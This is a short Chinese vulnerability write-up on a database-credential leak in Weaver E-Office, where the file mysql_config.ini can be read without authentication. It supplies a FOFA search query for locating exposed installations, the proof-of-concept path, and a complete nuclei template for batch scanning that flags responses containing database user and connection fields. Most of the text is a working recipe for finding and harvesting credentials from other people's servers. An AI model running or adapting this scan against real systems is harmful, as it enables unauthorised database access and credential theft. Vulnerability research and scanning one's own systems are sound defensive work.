泛微E-Office mysql_config.ini 数据库信息泄漏漏洞

漏洞描述

泛微 E-Office mysql_config.ini文件可直接访问，泄漏数据库账号密码等信息

漏洞复现

fofa语法：app="泛微-EOffice"
登录页面如下：

验证POC：/mysql_config.ini

nuclei批量yaml文件

id: EOffice_mysql_config_information_leak
info:
  name: 泛微OA E-Office mysql_config.ini 数据库信息泄漏漏洞
  author: mhb17
  severity: medium
  description: description
  reference:
    - https://peiqi.wgpsec.org/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Office%20mysql_config.ini%20%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.html
  tags: informationleak
requests:
  - raw:
      - |+
        GET /mysql_config.ini HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - datauser
      - type: word
        part: body
        words:
          - dataurl
      - type: word
        part: header
        words:
          - '200'